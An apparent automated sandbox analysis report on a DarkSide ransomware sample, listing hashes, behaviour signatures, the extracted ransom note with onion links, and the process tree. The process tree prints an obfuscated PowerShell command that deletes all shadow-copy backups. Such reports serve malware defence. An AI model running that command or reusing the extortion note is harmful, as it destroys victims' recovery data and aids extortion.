Overview

overview

10

Static

static

3

sub_d43b271fb493.exe

windows10-2004-x64

10

sub_d43b271fb493.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/05/2026, 01:34

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General

  • Target
    sub_d43b271fb493.exe
  • Size 60KB
  • Sample260524-by6h3ahs2x
  • SHA256 d43b271fb4931263f8fa54b297e3cf60762a0fe5c50ed76999f276dcc3c283be
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutiondarksideransomwarespywarestealer

Malware Config

Extracted

Path

  • C:\Users\Admin\README.4c6f08c7.TXT

  • darkside

Ransom Note
  • ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, private data was downloaded. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 120GB data. Your personal leak page (TOR LINK): http://darksidedxcftmqa.onion/compucom/PhGs8GJE39Fo5BseT_6rcXMZuWpNYbiS_Iz_aaXJRq6tPXMpWLbFN1U8lkztAR1C On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published in our blog if you do not contact us. After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. HOW TO CONTACT US? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OU7PSEQZ3R73ST58UP78D5RLCH99E3EY78Y6UM3TZMLT5L8XFZY8K190J3NOVRLT When you open our website, put the following data in the input form: Key: pcf4CdhXP5JYLCFKJafgliUqAv4zZJgl6TWFhxglXh3dHZFz9Q22UfNRP8GvNvui5HiWHu0zASrkXEVOXUILXjcmW2Lr4eBeIc7bY5G3fDGH3loLQ3cNXTKa27jmHkP9OT4AvTQhsALWOzl2Hcz2nvizwpAwe3Amr5VC8sBtmo5rIG7L8aQx667OobEvuZuh6jbERtiA1NgS4HYwfT9i2ILjSipGAUNNKb1TJw9sOvaPm3SF2PhY6vXiIXlZpl000QBfNyCxPzPEPL9aFLdhNPJwLj3jnb3mRRxQJleaK3QJdNisufTEaGZrTFA4staEE0oKMXvT6i0aUuIYWPqYhj2im9uzVER2kAyetdUoEw0OsG5m9w1XYlEeLE1tm1O4qfBrr2YyoDTVVIoeQMs9isLhrMvNnbaCcyweVnksV8CmIEVF24eWrLF27phYRaBomtyz5lBZsW82atOlzpPLpG5Qrs9Q2HnToxNX75nHXprNQQKbNGNqmbiXakmq4SbdMahlS5XFUW3A9X2vJk8H1ewwXX1gH2tLfit0tw3uyfwjHU7Cpu7NOim !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

  • http://darksidedxcftmqa.onion/compucom/PhGs8GJE39Fo5BseT_6rcXMZuWpNYbiS_Iz_aaXJRq6tPXMpWLbFN1U8lkztAR1C

  • http://darksidfqzcuhtk2.onion/OU7PSEQZ3R73ST58UP78D5RLCH99E3EY78Y6UM3TZMLT5L8XFZY8K190J3NOVRLT

Signatures

  • Family: DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Renames multiple (108) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\sub_d43b271fb493.exe
    "C:\Users\Admin\AppData\Local\Temp\sub_d43b271fb493.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2728
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4056

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 acff94044f1e9ffa322ac7a6943f3395c35cb032ec74840ad3230718ac42adea
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_jdtsb2za.fhc.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdtsb2za.fhc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        README.4c6f08c7.TXT
        • Path C:\Users\Admin\README.4c6f08c7.TXT
        • Size 2KB
        • SHA256 0062b751512b6ef31ebf0d33388dca59cf80f3cc382662ccbe5320a969f43bb3
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2728-1-0x0000024C2BC90000-0x0000024C2BCA0000-memory.dmp
        Download

        memory/2728-2-0x0000024C2BC90000-0x0000024C2BCA0000-memory.dmp
        Download

        memory/2728-3-0x0000024C479C0000-0x0000024C479E2000-memory.dmp
        Download

        memory/2728-10-0x0000024C2BC90000-0x0000024C2BCA0000-memory.dmp
        Download